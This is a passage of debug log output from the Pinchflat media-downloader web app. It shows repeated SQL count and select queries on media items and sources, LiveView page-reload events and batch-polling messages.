(m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:50.447 [debug] QUERY OK source="media_items" db=0.7ms queue=0.4ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:50.800 [debug] Current batch of media processed. Will check again in 1000ms 21:58:50.844 [debug] Current batch of media processed. Will check again in 1000ms 21:58:51.094 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:51.801 [debug] Current batch of media processed. Will check again in 1000ms 21:58:51.804 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:51.804 [debug] Replied in 88µs 21:58:51.806 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=709.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:51.806 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=538.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:51.806 [debug] QUERY OK source="media_items" db=0.8ms queue=0.7ms idle=73.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:51.808 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=74.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:51.809 [debug] QUERY OK source="media_items" db=1.1ms queue=0.5ms idle=75.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:51.809 [debug] QUERY OK source="media_items" db=1.0ms queue=0.5ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:51.845 [debug] Current batch of media processed. Will check again in 1000ms 21:58:52.053 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:52.053 [debug] Replied in 106µs 21:58:52.055 [debug] QUERY OK source="media_items" db=2.2ms idle=246.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:52.055 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=246.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:52.056 [debug] QUERY OK source="media_items" db=2.4ms queue=0.7ms idle=245.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:52.057 [debug] QUERY OK source="media_items" db=2.0ms idle=246.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.058 [debug] QUERY OK source="media_items" db=2.0ms idle=246.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.059 [debug] QUERY OK source="media_items" db=1.7ms queue=0.5ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.291 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:52.291 [debug] Replied in 95µs 21:58:52.293 [debug] QUERY OK source="media_items" db=1.9ms queue=0.2ms idle=235.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:52.294 [debug] QUERY OK source="media_items" db=1.4ms queue=0.6ms idle=234.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:52.294 [debug] QUERY OK source="media_items" db=2.0ms queue=0.2ms idle=233.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:52.295 [debug] QUERY OK source="media_items" db=1.4ms queue=0.3ms idle=234.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.295 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=26.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.296 [debug] QUERY OK source="media_items" db=1.1ms queue=0.5ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.541 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:52.541 [debug] Replied in 102µs 21:58:52.543 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=247.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:52.543 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=247.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:52.543 [debug] QUERY OK source="media_items" db=1.2ms queue=0.3ms idle=246.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:52.545 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=247.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.545 [debug] QUERY OK source="media_items" db=1.1ms queue=0.5ms idle=247.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.546 [debug] QUERY OK source="media_items" db=0.9ms queue=0.5ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.761 [debug] HANDLE EVENT "reload_page" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"value" => ""} 21:58:52.761 [debug] Replied in 101µs 21:58:52.763 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=217.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:52.763 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=217.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:52.763 [debug] QUERY OK source="media_items" db=0.9ms queue=0.6ms idle=217.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:52.764 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=217.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.765 [debug] QUERY OK source="media_items" db=1.2ms queue=0.5ms idle=217.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT 